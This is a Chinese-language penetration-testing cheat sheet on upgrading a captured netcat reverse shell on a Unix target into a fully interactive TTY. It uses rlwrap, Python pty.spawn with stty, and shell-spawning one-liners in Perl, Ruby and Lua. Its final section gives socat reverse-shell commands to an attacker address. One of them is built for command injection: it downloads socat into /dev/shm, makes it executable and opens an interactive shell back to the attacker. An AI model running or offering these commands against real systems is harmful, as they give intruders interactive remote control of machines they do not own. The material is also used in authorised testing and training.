升級遠程 shell(僅限 Unix 機器)
通常,在通過 nc 捕獲 shell 之后,會在一個功能非常有限的 shell 中。例如沒有命令歷史記錄(並使用向上“”和“向下”箭頭循環瀏覽它們)和文件名稱、命令自動完成等。在缺少這些功能的 shell 中查詢或操作會比較麻煩。
注意:要檢查 shell 是否是 TTY shell,請使用 tty 命令。
rlwrap
可以通過使用 rlwrap 命令包裝 nc 偵聽器來減輕對 shell 的一些限制。默認情況下不會安裝它,需要使用 sudo apt rlwrap 或 apt-get install rlwrap 安裝。
rlwrap nc -lvnp $port
使用 Python 升級到完全交互式 shell:
- 首先連接到 shell 后,先檢查一下 python 的可用性, 用 winch 命令檢查:
which python python2 python3
只要安裝了其中任何一個,就將返回已安裝二進制文件的路徑。
- 在靶機上輸入以下命令(使用機器上可用的 python 版本!)
python3 -c 'import pty;pty.spawn("/bin/bash")';
- 接下來,在靶機上輸入以下命令來設置一些重要的環境變量:
export SHELL=bash
export TERM=xterm-256color #允許 clear,並且有顏色
-
鍵入 ctrl-z 以將 shell 發送到后台。
-
設置 shell 以通過反向 shell 發送控制字符和其他原始輸入。使用以下stty命令來執行此操作。
stty raw -echo;fg
回車一次后輸入 reset 再回車將再次進入 shell 中:

到此 TTY shell 升級完成。
其他語言寫入交互式 shell:
echo os.system('/bin/bash')
/bin/sh -i
#python3
python3 -c 'import pty; pty.spawn("/bin/sh")'
#perl
perl -e 'exec "/bin/sh";'
#ruby
exec "/bin/sh"
ruby -e 'exec "/bin/sh"'
#lua
lua -e "os.execute('/bin/sh')"
使用 socat
另一種方法是將 socat 二進制文件上傳到靶機並獲得一個完全交互式的 shell。從 https://github.com/andrew-d/static-binaries 下載適當的二進制文件。Socat 需要在兩台機器上才能工作。
#在本地監聽::
socat file:`tty`,raw,echo=0 tcp-listen:4444
#靶機:
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.11.100:1234
如果在命令注入的地方注入反彈 shell,獲得即時完全交互式的反向 shell:
wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /dev/shm/socat; chmod +x /dev/shm/socat; /dev/shm/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.11.100:1234
如果靶機訪問不了互聯網,就先把 socat 文件下載下來,開啟 http 服務,然后將上面的路徑指向你的本地地址。
